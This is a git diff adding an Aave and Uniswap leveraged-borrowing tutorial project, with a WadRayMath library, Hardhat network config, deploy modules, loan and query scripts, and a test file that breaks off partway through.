+    // to avoid overflow, a <= (type(uint256).max - HALF_RAY) / b
+    assembly {
+      if iszero(or(iszero(b), iszero(gt(a, div(sub(not(0), HALF_RAY), b))))) {
+        revert(0, 0)
+      }
+
+      c := div(add(mul(a, b), HALF_RAY), RAY)
+    }
+  }
+
+  /**
+   * @notice Divides two ray, rounding half up to the nearest ray
+   * @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
+   * @param a Ray
+   * @param b Ray
+   * @return c = a raydiv b
+   */
+  function rayDiv(uint256 a, uint256 b) internal pure returns (uint256 c) {
+    // to avoid overflow, a <= (type(uint256).max - halfB) / RAY
+    assembly {
+      if or(iszero(b), iszero(iszero(gt(a, div(sub(not(0), div(b, 2)), RAY))))) {
+        revert(0, 0)
+      }
+
+      c := div(add(mul(a, RAY), div(b, 2)), b)
+    }
+  }
+
+  /**
+   * @dev Casts ray down to wad
+   * @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
+   * @param a Ray
+   * @return b = a converted to wad, rounded half up to the nearest wad
+   */
+  function rayToWad(uint256 a) internal pure returns (uint256 b) {
+    assembly {
+      b := div(a, WAD_RAY_RATIO)
+      let remainder := mod(a, WAD_RAY_RATIO)
+      if iszero(lt(remainder, div(WAD_RAY_RATIO, 2))) {
+        b := add(b, 1)
+      }
+    }
+  }
+
+  /**
+   * @dev Converts wad up to ray
+   * @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
+   * @param a Wad
+   * @return b = a converted in ray
+   */
+  function wadToRay(uint256 a) internal pure returns (uint256 b) {
+    // to avoid overflow, b/WAD_RAY_RATIO == a
+    assembly {
+      b := mul(a, WAD_RAY_RATIO)
+
+      if iszero(eq(div(b, WAD_RAY_RATIO), a)) {
+        revert(0, 0)
+      }
+    }
+  }
+}
diff --git a/basic/21-aave-uni-loan/hardhat.config.js b/basic/21-aave-uni-loan/hardhat.config.js
new file mode 100644
index 000000000..2bc86e7cd
--- /dev/null
+++ b/basic/21-aave-uni-loan/hardhat.config.js
@@ -0,0 +1,168 @@
+require("dotenv").config();
+require("@nomicfoundation/hardhat-toolbox");
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  defaultNetwork: "matic",
+  networks: {
+    hardhat: {
+      forking: {
+        // url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID,
+        url: "https://eth-mainnet.g.alchemy.com/v2/" + process.env.ALCHEMY_ID,
+      }
+    },
+    localhost: {
+      url: "http://127.0.0.1:8545"
+    },
+    ropsten: {
+      url: "https://ropsten.infura.io/v3/" + process.env.INFURA_ID,
+      accounts:
+        process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
+    },
+    kovan: {
+      url: "https://kovan.infura.io/v3/" + process.env.INFURA_ID,
+      accounts:
+        process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
+    },
+    main: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID,
+      accounts:
+        process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
+    },
+    matic: {
+      url: "https://polygon-mainnet.g.alchemy.com/v2/" + process.env.ALCHEMY_ID,
+      accounts:
+      process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
+    },
+    matic_mumbai: {
+      url: "https://polygon-mumbai.infura.io/v3/" + process.env.INFURA_ID,
+      accounts:
+        process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
+    },
+    optimism: {
+      url: "https://optimism-mainnet.infura.io/v3/" + process.env.INFURA_ID,
+      accounts:
+        process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
+    }
+  },
+  gasReporter: {
+    enabled: process.env.REPORT_GAS !== undefined,
+    currency: "USD",
+  },
+  etherscan: {
+    apiKey: process.env.ETHERSCAN_API_KEY,
+  },
+  solidity: {
+    compilers: [
+      {
+        version: "0.8.20",
+        settings: {
+          optimizer: {
+            enabled: true,
+            runs: 200
+          },
+          viaIR: true, // 启用通过IR编译
+        },
+      },
+      {
+        version: "0.6.8"
+      },
+      {
+        version: "0.6.12",
+        settings: {
+          optimizer: {
+            enabled: true,
+            runs: 200
+          }
+        }
+      }
+    ]
+  },
+  mocha: {
+    timeout: 80000
+  },
+
+  ignition: {
+    strategyConfig: {
+      create2: {
+        // To learn more about salts, see the CreateX documentation
+        // generate via ethers.keccak256(ethers.toUtf8Bytes("dapp-learning"))
+        salt: "0x262a460790f6b524b7fa041acd8d42a64d405de6fcf470a86d8b706fc6d18dd7", 
+      },
+    },
+  },
+  //https://search.onaave.com/  aave asset book
+  networkAddressMapping: {
+    matic: {
+      daiAddress: '0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063',
+      wmaticAddress: '0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270',
+      wethAddress: '0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619',
+      usdcAddress: '0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174',
+      wbtcAddress: '0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6',
+      
+      lendingPoolAddressesProviderAddress: '0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb',
+      uniswapRouterAddress: '0xE592427A0AEce92De3Edee1F18E0157C05861564',
+      wethGatewayAddress: '0xC1E320966c485ebF2A0A2A6d3c0Dc860A156eB1B',
+      aaveApeAddress: '0xc21d6197Bef9E34af555Ec6373D5a4F1a25BD730',
+
+      augustusRegistryAddress: '0xca35a4866747Ff7A604EF7a2A7F246bb870f3ca1',
+    },
+    optimism: {
+      daiAddress: '0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1',
+      wmaticAddress: '',
+      wethAddress: '0x4200000000000000000000000000000000000006',
+      usdcAddress: '0x7F5c764cBc14f9669B88837ca1490cCa17c31607',
+      wbtcAddress: '0x68f180fcCe6836688e9084f035309E29Bf0A2095',
+      
+      lendingPoolAddressesProviderAddress: '0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb',
+      uniswapRouterAddress: '0xE592427A0AEce92De3Edee1F18E0157C05861564',
+      wethGatewayAddress: '0xe9E52021f4e11DEAD8661812A0A6c8627abA2a54',
+      aaveApeAddress: '0xc21d6197Bef9E34af555Ec6373D5a4F1a25BD730',
+
+      augustusRegistryAddress: '0x6e7bE86000dF697facF4396efD2aE2C322165dC3',
+    },
+    main: {
+      daiAddress: '0x6B175474E89094C44Da98b954EedeAC495271d0F',
+      wmaticAddress: '',
+      wethAddress: '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2',
+      usdcAddress: '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48',
+      wbtcAddress: '0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599',
+      
+      lendingPoolAddressesProviderAddress: '0x2f39d218133AFaB8F2B819B1066c7E434Ad94E9e',
+      uniswapRouterAddress: '0xE592427A0AEce92De3Edee1F18E0157C05861564',
+      wethGatewayAddress: '0x893411580e590D62dDBca8a703d61Cc4A8c7b2b9',
+      aaveApeAddress: '0xc21d6197Bef9E34af555Ec6373D5a4F1a25BD730',
+
+      augustusRegistryAddress: '0xa68bEA62Dc4034A689AA0F58A76681433caCa663',
+    },
+    localhost: {
+      daiAddress: '0x6B175474E89094C44Da98b954EedeAC495271d0F',
+      wmaticAddress: '',
+      wethAddress: '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2',
+      usdcAddress: '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48',
+      wbtcAddress: '0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599',
+      
+      lendingPoolAddressesProviderAddress: '0x2f39d218133AFaB8F2B819B1066c7E434Ad94E9e',
+      uniswapRouterAddress: '0xE592427A0AEce92De3Edee1F18E0157C05861564',
+      wethGatewayAddress: '0x893411580e590D62dDBca8a703d61Cc4A8c7b2b9',
+      aaveApeAddress: '0xc21d6197Bef9E34af555Ec6373D5a4F1a25BD730',
+
+      augustusRegistryAddress: '0xa68bEA62Dc4034A689AA0F58A76681433caCa663',
+    }
+  }
+};
diff --git a/basic/21-aave-uni-loan/ignition/modules/AaveApe.js b/basic/21-aave-uni-loan/ignition/modules/AaveApe.js
new file mode 100644
index 000000000..f25ac6c4e
--- /dev/null
+++ b/basic/21-aave-uni-loan/ignition/modules/AaveApe.js
@@ -0,0 +1,19 @@
+const { buildModule } = require("@nomicfoundation/hardhat-ignition/modules");
+const { network, config } = require("hardhat");
+
+const networkAddressMapping = config.networkAddressMapping;
+
+// check addressMapping has the network
+if (!networkAddressMapping[network.name]) {
+  throw new Error('network ' + network.name + ' dont config in the addressMapping, please add it');
+}
+
+const {
+  lendingPoolAddressesProviderAddress,
+  uniswapRouterAddress
+} = networkAddressMapping[network.name];
+
+module.exports = buildModule("AaveApe", (m) => {
+  const aaveApe = m.contract("AaveApe", [lendingPoolAddressesProviderAddress, uniswapRouterAddress]);
+  return { aaveApe };
+});
\ No newline at end of file
diff --git a/basic/21-aave-uni-loan/ignition/modules/AaveApePlus.js b/basic/21-aave-uni-loan/ignition/modules/AaveApePlus.js
new file mode 100644
index 000000000..b254a3c5f
--- /dev/null
+++ b/basic/21-aave-uni-loan/ignition/modules/AaveApePlus.js
@@ -0,0 +1,19 @@
+const { buildModule } = require("@nomicfoundation/hardhat-ignition/modules");
+const { network, config } = require("hardhat");
+
+const networkAddressMapping = config.networkAddressMapping;
+
+// check addressMapping has the network
+if (!networkAddressMapping[network.name]) {
+  throw new Error('network ' + network.name + ' dont config in the addressMapping, please add it');
+}
+
+const {
+  lendingPoolAddressesProviderAddress,
+  uniswapRouterAddress
+} = networkAddressMapping[network.name];
+
+module.exports = buildModule("AaveApePlus", (m) => {
+  const aaveApePlus = m.contract("AaveApePlus", [lendingPoolAddressesProviderAddress, uniswapRouterAddress]);
+  return { aaveApePlus };
+});
\ No newline at end of file
diff --git a/basic/21-aave-uni-loan/ignition/modules/AaveApePlusV2.js b/basic/21-aave-uni-loan/ignition/modules/AaveApePlusV2.js
new file mode 100644
index 000000000..1571ed853
--- /dev/null
+++ b/basic/21-aave-uni-loan/ignition/modules/AaveApePlusV2.js
@@ -0,0 +1,19 @@
+const { buildModule } = require("@nomicfoundation/hardhat-ignition/modules");
+const { network, config } = require("hardhat");
+
+const networkAddressMapping = config.networkAddressMapping;
+
+// check addressMapping has the network
+if (!networkAddressMapping[network.name]) {
+  throw new Error('network ' + network.name + ' dont config in the addressMapping, please add it');
+}
+
+const {
+  lendingPoolAddressesProviderAddress,
+  augustusRegistryAddress
+} = networkAddressMapping[network.name];
+
+module.exports = buildModule("AaveApePlusV2", (m) => {
+  const aaveApePlus = m.contract("AaveApePlusV2", [lendingPoolAddressesProviderAddress, augustusRegistryAddress]);
+  return { aaveApePlus };
+});
\ No newline at end of file
diff --git a/basic/21-aave-uni-loan/package.json b/basic/21-aave-uni-loan/package.json
new file mode 100644
index 000000000..b6a15eccd
--- /dev/null
+++ b/basic/21-aave-uni-loan/package.json
@@ -0,0 +1,13 @@
+{
+  "name": "hardhat-project",
+  "devDependencies": {
+    "@uniswap/v3-core": "^1.0.1",
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0",
+    "dotenv": "^10.0.0",
+    "hardhat": "^2.22.2"
+  },
+  "dependencies": {
+    "axios": "^1.6.8",
+    "graphql": "^16.8.1"
+  }
+}
diff --git a/basic/21-aave-uni-loan/scripts/loan.js b/basic/21-aave-uni-loan/scripts/loan.js
new file mode 100644
index 000000000..b024976bc
--- /dev/null
+++ b/basic/21-aave-uni-loan/scripts/loan.js
@@ -0,0 +1,141 @@
+const {network, config} = require('hardhat');
+
+const networkAddressMapping = config.networkAddressMapping;
+
+// check addressMapping has the network
+if (!networkAddressMapping[network.name]) {
+  throw new Error('network ' + network.name + ' dont config in the addressMapping, please add it');
+}
+
+const {
+  daiAddress,
+  wethAddress,
+
+  lendingPoolAddressesProviderAddress,
+  uniswapRouterAddress,
+  wethGatewayAddress,
+  aaveApeAddress
+} = networkAddressMapping[network.name];
+
+
+const depositEthInAave = async (pooladdress, _userAddress, _amount) => {
+  const ethGateway = await ethers.getContractAt('IWrappedTokenGatewayV3', wethGatewayAddress);
+  let metadata = {
+    value: ethers.parseEther(_amount),
+  };
+  let ethDeposit = await ethGateway.depositETH(pooladdress, _userAddress, 0, metadata);
+  await ethDeposit.wait();
+  console.log('eth deposit successfully');
+};
+
+const withdrawEthInAave = async (pooladdress, _userAddress, _amount) => {
+  const ethGateway = await ethers.getContractAt('IWrappedTokenGatewayV3', wethGatewayAddress);
+
+  let ethWithdraw = await ethGateway.withdrawETH(pooladdress, _amount, _userAddress);
+  await ethWithdraw.wait();
+  console.log('eth withdraw successfully');
+};
+
+const getLendingPool = async () => {
+  const lendingPoolAddressesProvider = await ethers.getContractAt('IPoolAddressesProvider', lendingPoolAddressesProviderAddress);
+  let lendingPoolAddress = await lendingPoolAddressesProvider['getPool']();
+  let lendingPool = await ethers.getContractAt('IPool', lendingPoolAddress);
+
+  return lendingPool;
+};
+
+const getAToken = async (_asset) => {
+  let lendingPool = await getLendingPool();
+  let assetReserveData = await lendingPool['getReserveData'](_asset);
+  let assetAToken = await ethers.getContractAt('IAToken', assetReserveData.aTokenAddress);
+
+  return assetAToken;
+};
+
+const getDebtToken = async (_asset, _interestRateMode, erc20 = false) => {
+  let lendingPool = await getLendingPool();
+
+  let assetReserveData = await lendingPool['getReserveData'](_asset);
+  let assetDebtToken;
+
+  if (_interestRateMode === 1) {
+    let interface = erc20 === true ? 'IERC20' : 'IStableDebtToken';
+    assetDebtToken = await ethers.getContractAt(interface, assetReserveData.stableDebtTokenAddress);
+  } else {
+    let interface = erc20 === true ? 'IERC20' : 'IVariableDebtToken';
+    assetDebtToken = await ethers.getContractAt(interface, assetReserveData.variableDebtTokenAddress);
+  }
+
+  return assetDebtToken;
+};
+
+const delegateCreditToTheApe = async (_asset, _interestRateMode = 2) => {
+  let assetDebtToken = await getDebtToken(_asset, _interestRateMode);
+  console.log('assetDebtToken: ', assetDebtToken.target);
+  let assetDebtApproval = await assetDebtToken['approveDelegation'](aaveApeAddress, ethers.MaxUint256);
+  await assetDebtApproval.wait();
+  console.log('assetDebtApproval successfully  ');
+};
+
+main = async () => {
+  const [deployer] = await ethers.getSigners()
+
+  let userAddress = deployer.address;
+  console.log("user address:", userAddress)
+
+  const aaveApe = await ethers.getContractAt('AaveApePlus', aaveApeAddress);
+
+  const lendingpool = await getLendingPool();
+  console.log('lendingpool:', lendingpool.target);
+  let reserveData = await aaveApe.getAaveAssetReserveData(daiAddress);
+
+  // variable debt
+  let interestRateMode = 2;
+
+  await depositEthInAave(lendingpool.target, userAddress, '0.1'); 
+  await delegateCreditToTheApe(daiAddress, interestRateMode);
+
+  // let result = await aaveApe.getAvailableBorrowInAsset(daiAddress, userAddress);
+  // console.log('available borrow: ', result.toString());
+  console.log('begin ape');
+
+  //tx =   await aaveApe['ape'](wethAddress, daiAddress, interestRateMode)
+  // tx = await aaveApe['superApe'](wethAddress, daiAddress, interestRateMode, 1);
+
+  let borrowAmount = ethers.parseEther("1000"); // 1000 DAI with 18 decimals 
+  tx = await aaveApe['flashApe'](wethAddress, daiAddress, borrowAmount, interestRateMode);
+  await tx.wait();
+
+  let aToken = await getAToken(wethAddress);
+  let debtToken = await getDebtToken(daiAddress, interestRateMode, true);
+  // console.log("debtToken: ", debtToken)
+  
+  tx = await aToken.approve(aaveApe.target, ethers.MaxUint256);
+  await tx.wait();
+  console.log('atoken approve successfully. ');
+
+  let aBalanceBefore = await aToken.balanceOf(userAddress);
+  console.log('aBalanceBefore: ', aBalanceBefore.toString());
+  let debtBalanceBefore = await debtToken.balanceOf(userAddress);
+  console.log('debtBalanceBefore: ', debtBalanceBefore.toString());
+
+  tx = await aaveApe['flashUnwind'](wethAddress, daiAddress, borrowAmount, interestRateMode);
+  await tx.wait();
+
+  let aBalanceAfter = await aToken.balanceOf(userAddress);
+  console.log('aBalanceAfter: ', aBalanceAfter.toString());
+  let debtBalanceAfter = await debtToken.balanceOf(userAddress);
+  console.log('debtBalanceAfter: ', debtBalanceAfter.toString());
+
+  await aToken.approve(wethGatewayAddress,ethers.MaxUint256 )
+  console.log('atoken approve successfully. ');
+
+  await withdrawEthInAave(lendingpool.target, userAddress, aBalanceAfter)
+};
+
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/21-aave-uni-loan/scripts/query.js b/basic/21-aave-uni-loan/scripts/query.js
new file mode 100644
index 000000000..e5983dd7a
--- /dev/null
+++ b/basic/21-aave-uni-loan/scripts/query.js
@@ -0,0 +1,246 @@
+const axios = require('axios');
+const { network, config } = require('hardhat');
+require("dotenv").config();
+
+const exp = BigInt(10 ** 18);
+const exp1 = BigInt(10 ** 27);
+
+const networkAddressMapping = config.networkAddressMapping;
+
+// check addressMapping has the network
+if (!networkAddressMapping[network.name]) {
+  throw new Error('network ' + network.name + ' dont config in the addressMapping, please add it');
+}
+
+const {
+  daiAddress,
+  wmaticAddress, 
+  wethAddress, 
+  lendingPoolAddressesProviderAddress, 
+  aaveApeAddress
+ } = networkAddressMapping[network.name];
+
+const getAToken = async (_asset) => {
+  let lendingPool = await getLendingPool();
+  let assetReserveData = await lendingPool['getReserveData'](_asset);
+  let assetAToken = await ethers.getContractAt('IAToken', assetReserveData.aTokenAddress);
+
+  return assetAToken;
+};
+
+const getLendingPool = async () => {
+  const lendingPoolAddressesProvider = await ethers.getContractAt('IPoolAddressesProvider', lendingPoolAddressesProviderAddress);
+  let lendingPoolAddress = await lendingPoolAddressesProvider['getPool']();
+  let lendingPool = await ethers.getContractAt('IPool', lendingPoolAddress);
+
+  return lendingPool;
+};
+
+const getDebtToken = async (_asset, _interestRateMode, erc20 = false) => {
+  let lendingPool = await getLendingPool();
+
+  let assetReserveData = await lendingPool['getReserveData'](_asset);
+  let assetDebtToken;
+
+  if (_interestRateMode === 1) {
+    let interface = erc20 === true ? 'IERC20' : 'IStableDebtToken';
+    assetDebtToken = await ethers.getContractAt(interface, assetReserveData.stableDebtTokenAddress);
+  } else {
+    let interface = erc20 === true ? 'IERC20' : 'IVariableDebtToken';
+    assetDebtToken = await ethers.getContractAt(interface, assetReserveData.variableDebtTokenAddress);
+  }
+
+  return assetDebtToken;
+};
+
+
+const getCurrentDebt = async (debtToken,userAddress) => { 
+  return await debtToken.balanceOf(userAddress);
+};
+
+
+const querySql = `
+        query($id: String!){
+        users (where: {id: $id}) {
+            borrowHistory (orderBy: timestamp) { 
+                amount 
+                reserve{
+                    symbol
+                    decimals
+                    underlyingAsset
+                    vToken{
+                        id
+                    }
+                }
+                userReserve{
+                    currentTotalDebt
+                }
+                
+            }
+
+            repayHistory (orderBy: timestamp){ 
+                amount 
+                reserve{
+                    symbol
+                    decimals
+                }
+            }
+        }
+        }
+      `
+
+
+const url = {
+  matic: 'https://api.thegraph.com/subgraphs/name/aave/protocol-v3-polygon',
+  main: 'https://api.thegraph.com/subgraphs/name/aave/protocol-v3',
+  optimism: 'https://api.thegraph.com/subgraphs/name/aave/protocol-v3-optimism'
+}
+
+const getInterest = async (url, graphQuery,variables,interestRateMode) => { 
+  let axiosResult = await axios.post(url, {
+    query: graphQuery,
+    variables
+  })
+
+  let users = axiosResult.data.data.users[0]
+  // 遍历 borrow 记录
+  total_borrow = {}
+  for(index in users.borrowHistory){
+    let borrowRecord = users.borrowHistory[index]
+    let symbol = borrowRecord["reserve"]["symbol"]
+    let decimals = borrowRecord["reserve"]["decimals"]
+    let vToken = borrowRecord["reserve"]["vToken"]["id"]
+    let underlyingAsset = borrowRecord["reserve"]["underlyingAsset"]
+    let currentTotalDebt = borrowRecord["userReserve"]["currentTotalDebt"]
+
+    if(!total_borrow[symbol]){
+      total_borrow[symbol] = {"amount": 0}
+    }
+
+    if(!total_borrow[symbol]["decimals"]){
+      total_borrow[symbol]["decimals"] = decimals
+    }
+
+    if(!total_borrow[symbol]["vToken"]){
+      total_borrow[symbol]["vToken"] = vToken
+    }
+
+    if(!total_borrow[symbol]["underlyingAsset"]){
+      total_borrow[symbol]["underlyingAsset"] = underlyingAsset
+    }
+     
+    if(!total_borrow[symbol]["currentTotalDebt"]){
+      total_borrow[symbol]["currentTotalDebt"] = currentTotalDebt
+    }
+
+    total_borrow[symbol]["amount"] += parseInt(borrowRecord['amount'])
+  }
+
+  // 遍历 repay 记录
+  let total_repay = {}
+  for(index in users.repayHistory){
+    let repayRecord = users.repayHistory[index]
+    let symbol = repayRecord["reserve"]["symbol"]
+    
+    if(!total_repay[symbol]){
+      total_repay[symbol] = {"amount": 0}
+    }
+
+    total_repay[symbol]["amount"] += parseInt(repayRecord['amount'])
+  }
+  
+
+  // 计算 interest
+  tota_interest = {}
+  for(const symbol of Object.keys(total_borrow)){
+      let currentDebt = 0
+      if(total_borrow[symbol]["currentTotalDebt"] != 0){
+        let currentDebtToken = await getDebtToken(total_borrow[symbol]["underlyingAsset"],interestRateMode,false)
+        currentDebt = parseInt(await getCurrentDebt(currentDebtToken,variables.id))
+
+        // let stableDebtToken = await getDebtToken(total_borrow[symbol]["underlyingAsset"],1,false)
+        // stableDebt = await getCurrentDebt(stableDebtToken,variables.id)
+        // console.log("Stable Debt: ",stableDebt)
+      }
+
+    tota_interest[symbol] = (
+      total_repay[symbol]["amount"] 
+      + currentDebt 
+      - total_borrow[symbol]["amount"]) / 10 ** total_borrow[symbol]["decimals"]
+  
+  }
+
+  return tota_interest
+};
+
+
+main = async () => {
+  const [deployer] = await ethers.getSigners();
+  let fish = process.env.TARGET_ADDRESS.toLowerCase()
+  console.log("target:", fish)
+  
+  const aaveApe = await ethers.getContractAt('AaveApe', aaveApeAddress);
+
+  const lendingPool = await getLendingPool();
+  console.log('lendingPool:', lendingPool.target);
+  let reserveData = await aaveApe.getAaveAssetReserveData(daiAddress);
+  //console.log("dai reserveData: " , reserveData )
+
+  // variable debt
+  let interestRateMode = 2;
+
+  let useraccount =  await lendingPool.getUserAccountData(fish);
+
+
+ // console.log("userdata: ", useraccount); 
+  console.log("healthFactor: ", Number(useraccount.healthFactor * BigInt(100) / exp) / 100); 
+  console.log("totalCollateralBase: %f USD", Number(useraccount.totalCollateralBase * BigInt(100) / BigInt(10**8)) / 100); 
+  console.log("currentLiquidationThreshold: %f %", Number(useraccount.currentLiquidationThreshold) / 100); 
+  console.log("ltv: %f %", Number(useraccount.ltv) / 100); 
+
+  let reserveData1 =  await lendingPool.getReserveData(daiAddress);
+  console.log("dai borrow variable rate: %f %", Number(reserveData1.currentVariableBorrowRate * BigInt(10000) / exp1) / 100);
+  //console.log("usdc borrow stable rate: ", reserveData1.currentStableBorrowRate.mul(BigNumber.from("10000")).div(exp1).toString());
+  console.log("dai supply rate: %f %", Number(reserveData1.currentLiquidityRate * BigInt(10000) / exp1) / 100);
+  console.log("dai borrow index: ", Number(reserveData1.variableBorrowIndex * BigInt(10000) / exp1) / 100);
+
+  let result = await aaveApe.getAvailableBorrowInAsset(daiAddress, fish);
+  console.log('user available borrow dai: %f USD', Number(result * BigInt(1000) / exp) / 1000);
+
+
+  let aToken = await getAToken(network.name == 'matic' ? wmaticAddress: wethAddress);
+  // let aTokenbtc = await getAToken(wbtcAddress);
+  // console.log("aToken: ", aToken)
+  let debtToken = await getDebtToken(daiAddress, interestRateMode, true);
+  // console.log("debtToken: ", debtToken)
+ 
+  // let aBalanceBefore = await aToken.balanceOf(fish);
+  // console.log('aBalanceBefore: ', aBalanceBefore.toString());
+  // let aBalancebtcBefore = await aTokenbtc.balanceOf(fish);
+  // console.log('aBalancebtcBefore: ', aBalancebtcBefore.toString());
+  // let debtBalanceBefore = await debtToken.balanceOf(fish);
+  // console.log('debtBalanceBefore: ', debtBalanceBefore.toString());
+
+
+// ```
+// debetNow  - [sum(borrow) - sum(repay)]  计算支付利息
+// 参考https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/defi/Aave/graph/scripts/calculate.ts
+
+  // Get historical interes
+  const variables = {
+    'id': fish
+  };
+
+  let interest = await getInterest(url[network.name],querySql,variables)
+  console.log("current total interest: ",interest)
+};
+
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
+
+
+ 
\ No newline at end of file
diff --git a/basic/21-aave-uni-loan/test/test_aave_ape.js b/basic/21-aave-uni-loan/test/test_aave_ape.js
new file mode 100644
index 000000000..b886c877a
--- /dev/null
+++ b/basic/21-aave-uni-loan/test/test_aave_ape.js
@@ -0,0 +1,200 @@
+const { expect } = require("chai");
+const {network, config} = require('hardhat');
+
+const networkAddressMapping = config.networkAddressMapping;
+
+// check addressMapping has the network
+if (!networkAddressMapping[network.name]) {
+  throw new Error('network ' + network.name + ' dont config in the addressMapping, please add it');
+}
+
+const {
+  daiAddress,
+  wethAddress,
+  usdcAddress,
+ 
+  lendingPoolAddressesProviderAddress,
+  uniswapRouterAddress,
+  wethGatewayAddress
+} = networkAddressMapping[network.name];
+
+const depositEthInAave = async (_poolAddress, _userAddress, _amount) => {
+  // console.log("isAddressable", _poolAddress, _userAddress, ethers.isAddressable(_poolAddress), ethers.isAddressable(_userAddress))
+  const ethGateway = await ethers.getContractAt('IWrappedTokenGatewayV3', wethGatewayAddress)
+  let metadata = {
+    value: ethers.parseEther(_amount)
+  }
+
+  let ethDeposit = await ethGateway.depositETH(_poolAddress, _userAddress, 0, metadata)
+  // console.log('eth deposit successfully');
+}
+
+const getLendingPool = async () => {
+
+  const lendingPoolAddressesProvider = await ethers.getContractAt('IPoolAddressesProvider', lendingPoolAddressesProviderAddress)
+  let lendingPoolAddress = await lendingPoolAddressesProvider['getPool']()
+  let lendingPool = await ethers.getContractAt('IPool', lendingPoolAddress)
+
+  return lendingPool
+}
+
+const getAToken = async (_asset) => {
+
+  let lendingPool = await getLendingPool()
+  let assetReserveData = await lendingPool['getReserveData'](_asset)
+  let assetAToken = await ethers.getContractAt('IAToken', assetReserveData.aTokenAddress)
+
+  return assetAToken
+}
+
+const getDebtToken = async (_asset, _interestRateMode, erc20=false) => {
+
+  let lendingPool = await getLendingPool()
+
+  let assetReserveData = await lendingPool['getReserveData'](_asset)
+  let assetDebtToken
+
+  if(_interestRateMode === 1) {
+    let interface = erc20===true?'IERC20':'IStableDebtToken'
+    assetDebtToken = await ethers.getContractAt(interface, assetReserveData.stableDebtTokenAddress)
+  } else {
+    let interface = erc20===true?'IERC20':'IVariableDebtToken'
+    assetDebtToken = await ethers.getContractAt(interface, assetReserveData.variableDebtTokenAddress)
+  }
+
+  return assetDebtToken
+}
+
+const delegateCreditToTheApe = async (_asset, _interestRateMode = 2) => {
+
+  let assetDebtToken = await getDebtToken(_asset, _interestRateMode)
+  let assetDebtApproval = await assetDebtToken['approveDelegation'](aaveApe.target, ethers.MaxUint256)
+}
+
+describe("AaveApe", function () {
+
+  beforeEach(async () => {
+
+    const AaveApe = await ethers.getContractFactory("AaveApe");
+    aaveApe = await AaveApe.deploy(lendingPoolAddressesProviderAddress, uniswapRouterAddress);
+    const [user] = await ethers.getSigners();
+    userAddress = user.address;
+    const lendingpool = await getLendingPool();
+    pooladdress = lendingpool.target;
+  });
+
+  describe("Address verification", function () {
+
+    it("ROUTER_ADDRESS", async function () {
+      expect(await aaveApe.UNISWAP_ROUTER()).to.equal(uniswapRouterAddress)
+    })
+
+    it("LENDING_POOL", async function () {
+      const _lendingPoolAddressesProvider = await ethers.getContractAt('IPoolAddressesProvider', lendingPoolAddressesProviderAddress)
+      _lendingPoolAddress = await _lendingPoolAddressesProvider['getPool']()
+      expect(await aaveApe.LENDING_POOL()).to.equal(_lendingPoolAddress);
+    })
+
+  })
+
+  describe("get max liquidity pool", function() {
+    it("get max liquidity pool of WEH/DAI", async function() {
+      expect(await aaveApe.getBestPool(wethAddress, daiAddress)).to.not.equal("0x0000000000000000000000000000000000000000");
+    })
+  })
+
+  describe("Going ape", function () {
+    it("Revert if the user has no collateral", async function () {
+
+      await expect(aaveApe['ape'](wethAddress, daiAddress, 2)).to.be.reverted;
+
+    })
+
+    it("Revert if the user has not delegated credit to the Ape", async function () {
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await expect(aaveApe['ape'](wethAddress, daiAddress, 2)).to.be.reverted;
+
+    })
+
+    it("Succeeds if the user has collateral & has delegated credit", async function () {
+      let interestRateMode = 2
+
+      await depositEthInAave(pooladdress, userAddress, "5")
+      await delegateCreditToTheApe(daiAddress, interestRateMode)
+
+      let aToken = await getAToken(wethAddress)
+      let debtToken = await getDebtToken(daiAddress, interestRateMode, true)
+
+      let aBalanceBefore = await aToken.balanceOf(userAddress)
+      let debtBalanceBefore = await debtToken.balanceOf(userAddress)
+      await expect(aaveApe['ape'](wethAddress, daiAddress, interestRateMode)).to.emit(aaveApe, 'Ape')
+
+      let aBalanceAfter = await aToken.balanceOf(userAddress)
+      let debtBalanceAfter = await debtToken.balanceOf(userAddress)
+
+      expect(aBalanceAfter > aBalanceBefore)
+      expect(debtBalanceAfter > debtBalanceBefore)
+    })
+  })
+
+  describe("Unwinding an ape", function () {
+    it("Revert if there is no debt to repay", async function () {
+
+      await expect(aaveApe['unwindApe'](wethAddress, daiAddress, 2)).to.be.reverted;
+
+    })
+
